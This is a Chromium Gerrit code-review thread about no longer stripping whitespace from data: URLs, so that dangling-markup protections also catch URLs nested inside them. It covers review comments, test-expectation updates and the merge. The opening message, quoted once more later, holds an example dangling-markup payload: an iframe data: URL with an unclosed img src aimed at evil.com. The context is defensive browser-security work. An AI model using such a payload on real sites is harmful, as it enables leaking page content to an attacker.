Stop stripping whitespace from `data:` URLs in //url. [chromium/src : master]
Mike West (Gerrit)
Yoav, Daniel, WDYT of this? It changes our URL parsing behavior to stop stripping whitespace from `data:` URLs, which allows us to apply dangling markup protections to the URLs that `data:` URLs might cause to be loaded (e.g. `<iframe src='data:text/html,<img src="http://evil.com/?`). The newlines are still present in the nested URLs when they're parsed, which means we set the `potentially_dangling_markup` flags correctly... We still strip newlines from the `data:` URL in //net, which means the only visible difference will be the result of things like `new URL('data:...')` and console messages.
WDYT?
To view, visit change 616664. To unsubscribe, or for help writing mail filters, visit settings.
Blink WPT Bot (Gerrit)
Exportable changes to web-platform-tests were detected in this CL and a pull request in the upstream repo has been made: https://github.com/w3c/web-platform-tests/pull/6906.
If this CL lands and Travis CI upstream is green, we will auto-merge the PR.
Note: Please check the Travis CI status (at the bottom of the PR) before landing this CL and only land this CL if the status is green. Otherwise a human needs to step in and resolve it manually. (This may be automated in the future, see https://crbug.com/711447)
WPT Export docs:
https://chromium.googlesource.com/chromium/src/+/master/docs/testing/web_platform_tests.md#Automatic-export-process
Daniel Cheng (Gerrit)
Patch Set 2:
Yoav, Daniel, WDYT of this? It changes our URL parsing behavior to stop stripping whitespace from `data:` URLs, which allows us to apply dangling markup protections to the URLs that `data:` URLs might cause to be loaded (e.g. `<iframe src='data:text/html,<img src="http://evil.com/?`). The newlines are still present in the nested URLs when they're parsed, which means we set the `potentially_dangling_markup` flags correctly... We still strip newlines from the `data:` URL in //net, which means the only visible difference will be the result of things like `new URL('data:...')` and console messages.
WDYT?
This seems like a reasonable change to me. That being said, I'm not very familiar with how this is specced out and don't feel like I can evaluate the layout test. If you point me at the spec / proposal, I can take another look tomorrow.
3 comments:
File chrome/browser/autofill/form_structure_browsertest.cc:
Patch Set #2, Line 50:
return GURL(std::string("data:text/html;charset=utf-8,") + stripped_html);Is it possible to fix the test here?
TIL.
Patch Set #2, Line 51:
input[3] == 'a' && input[4] == ':') {How about using base::StartsWith from base/strings/string_util.h?
To view, visit change 616664. To unsubscribe, or for help writing mail filters, visit settings.
Mike West (Gerrit)
Patch Set 2:
This seems like a reasonable change to me. That being said, I'm not very familiar with how this is specced out and don't feel like I can evaluate the layout test. If you point me at the spec / proposal, I can take another look tomorrow.
There's no spec yet, just some discussion in https://github.com/whatwg/url/pull/284 where Apple was fundamentally opposed to modifying their URL parser. We're shipping behavior along the lines of those specced in that PR in beta right now; the linked bug is a clever bypass of that first pass using data URLs. Skipping the whitespace-stripping behavior for those URLs seems like a reasonable approach to making the mitigation effective again, but I haven't specced it out.
Data URLs, for better or worse, aren't well specified. :( It looks like Anne is taking a stab at it in https://github.com/whatwg/fetch/pull/579, though, so maybe it'll be easier to do now than it was earlier. Your feedback on that PR would probably be useful... :)
3 comments:
Patch Set #2, Line 50:
return GURL(std::string("data:text/html;charset=utf-8,") + stripped_html);Is it possible to fix the test here?
It is. But it was like 20 tests. And I was lazy. :(
I guess I'll fix up the whitespace changes in the expectation files when you're happy with the rest of the patch.
TIL.
Hooray for exciting ES6 features, right?
Patch Set #2, Line 51:
input[3] == 'a' && input[4] == ':') {
How about using base::StartsWith from base/strings/string_util. […]
There must be a simpler way to approach this than what I ended up with, which turned into something like the following (after adding a `typename STR` to the template above, and passing in `std::string`/`base::string16` from the callsites):
```
if (base::StartsWith(base::BasicStringPiece<STR>(input, input_len),
kDataScheme,
base::CompareCase::INSENSITIVE_ASCII)) {
...
}```
That fails to compile because `const char []` can't be converted into a `base::StringPiece16`, and various hacks I've tried haven't been successful. Can you tell me the magic words I'm supposed to have typed? :)
To view, visit change 616664. To unsubscribe, or for help writing mail filters, visit settings.
Daniel Cheng (Gerrit)
FWIW, my main comment is it it's a bit hard to understand the expected results in the tests. Some comments about what should be and what shouldn't be blocked (or something that would help document the different cases) would be useful.
Patch set 2:Code-Review +1
1 comment:
Patch Set #2, Line 51:
input[3] == 'a' && input[4] == ':') {
There must be a simpler way to approach this than what I ended up with, which turned into something […]
Oh... I missed that this function is templated on CHAR...
OK I guess this is the best way to do it =/
Normally I would say that the nice approach would be to use plumb through a BasicStringPiece, but even that would be tricky here (as the string literal would need to have both a 8-bit and 16-bit version)
To view, visit change 616664. To unsubscribe, or for help writing mail filters, visit settings.
Blink WPT Bot (Gerrit)
Successfully updated WPT GitHub pull request with new revision "Add TODO": https://github.com/w3c/web-platform-tests/pull/6906
Mike West (Gerrit)
Mike West would like Evan Stade to review this change.
Stop stripping whitespace from `data:` URLs in //url.
Whitespace is stripped in `net::DataURL::Parse()`, so this should result
in no net change in behavior, and will allow us to properly treat URLs
embedded inside `data:` URLs as potentially dangling markup in some edge
cases that the original patches missed.
Bug: 749852
Change-Id: I1ae514fc609d370cf4dceae471dc4d831af0bfad
---
M chrome/browser/autofill/form_structure_browsertest.cc
M third_party/WebKit/LayoutTests/editing/pasteboard/dragstart-contains-default-content-expected.txt
A third_party/WebKit/LayoutTests/external/wpt/fetch/security/dangling-markup-mitigation-data-url.tentative.sub.html
M third_party/WebKit/LayoutTests/external/wpt/fetch/security/dangling-markup-mitigation.tentative.html
M third_party/WebKit/LayoutTests/fast/files/null-origin-string-expected.txt
M third_party/WebKit/LayoutTests/http/tests/security/no-indexeddb-from-sandbox-expected.txt
M third_party/WebKit/LayoutTests/http/tests/security/no-popup-from-sandbox-expected.txt
M third_party/WebKit/LayoutTests/http/tests/security/no-popup-from-sandbox-top-expected.txt
M third_party/WebKit/LayoutTests/http/tests/security/popup-allowed-by-sandbox-when-allowed-expected.txt
M url/url_canon_etc.cc
10 files changed, 256 insertions(+), 20 deletions(-)
Mike West (Gerrit)
I started going through the autofill expectations to update them, but it turns into a pretty big patch as the existing expectations are relying on data URLs stripping out newlines (though that's not actually the point of the tests). It's not clear whether we'll try to merge this change back to beta at this point, so I'd like to keep the patch small.
estade@: How do you feel about landing the `c/b/autofill/form_structure_browsertest.cc` change, and coming back to update the test file expectations in a future CL? Also: is there an automated way to generate the expectation files, or do I need to go through and update each by hand?
Patch set 4:Commit-Queue +1
Mike West (Gerrit)
Mike West removed Yoav Weiss from this change.
To view, visit change 616664. To unsubscribe, or for help writing mail filters, visit settings.
Daniel Cheng (Gerrit)
Patch Set 4: Commit-Queue+1
I started going through the autofill expectations to update them, but it turns into a pretty big patch as the existing expectations are relying on data URLs stripping out newlines (though that's not actually the point of the tests). It's not clear whether we'll try to merge this change back to beta at this point, so I'd like to keep the patch small.
estade@: How do you feel about landing the `c/b/autofill/form_structure_browsertest.cc` change, and coming back to update the test file expectations in a future CL? Also: is there an automated way to generate the expectation files, or do I need to go through and update each by hand?
FWIW, this seems fine with me; we can figure out what to do with the autofill tests in a followup CL. Let's just file a bug for now?
Evan Stade (Gerrit)
Patch set 4:Code-Review +1
1 comment:
File chrome/browser/autofill/form_structure_browsertest.cc:
Patch Set #4, Line 46:
// Strip `\n`, `\t`, `\r` from |html| to match old `data:` URL behavior.this seems fine but can you file a bug to remove it and update expectations? I don't work on Autofill any more but if you apply the autofill label the right people should be cc'd.
To view, visit change 616664. To unsubscribe, or for help writing mail filters, visit settings.
Mike West (Gerrit)
Patch set 4:Commit-Queue +2
Commit Bot (Gerrit)
Commit Bot merged this change.
Stop stripping whitespace from `data:` URLs in //url.
Whitespace is stripped in `net::DataURL::Parse()`, so this should result
in no net change in behavior, and will allow us to properly treat URLs
embedded inside `data:` URLs as potentially dangling markup in some edge
cases that the original patches missed.
Bug: 749852
Change-Id: I1ae514fc609d370cf4dceae471dc4d831af0bfad
Reviewed-on: https://chromium-review.googlesource.com/616664
Reviewed-by: Evan Stade <est...@chromium.org>
Reviewed-by: Daniel Cheng <dch...@chromium.org>
Commit-Queue: Mike West <mk...@chromium.org>
Cr-Commit-Position: refs/heads/master@{#496123}
---
M chrome/browser/autofill/form_structure_browsertest.cc
M third_party/WebKit/LayoutTests/editing/pasteboard/dragstart-contains-default-content-expected.txt
A third_party/WebKit/LayoutTests/external/wpt/fetch/security/dangling-markup-mitigation-data-url.tentative.sub.html
M third_party/WebKit/LayoutTests/external/wpt/fetch/security/dangling-markup-mitigation.tentative.html
M third_party/WebKit/LayoutTests/fast/files/null-origin-string-expected.txt
M third_party/WebKit/LayoutTests/http/tests/security/no-indexeddb-from-sandbox-expected.txt
M third_party/WebKit/LayoutTests/http/tests/security/no-popup-from-sandbox-expected.txt
M third_party/WebKit/LayoutTests/http/tests/security/no-popup-from-sandbox-top-expected.txt
M third_party/WebKit/LayoutTests/http/tests/security/popup-allowed-by-sandbox-when-allowed-expected.txt
M url/url_canon_etc.cc
10 files changed, 256 insertions(+), 20 deletions(-)
Blink WPT Bot (Gerrit)
The WPT PR for this CL has been merged upstream! https://github.com/w3c/web-platform-tests/pull/6906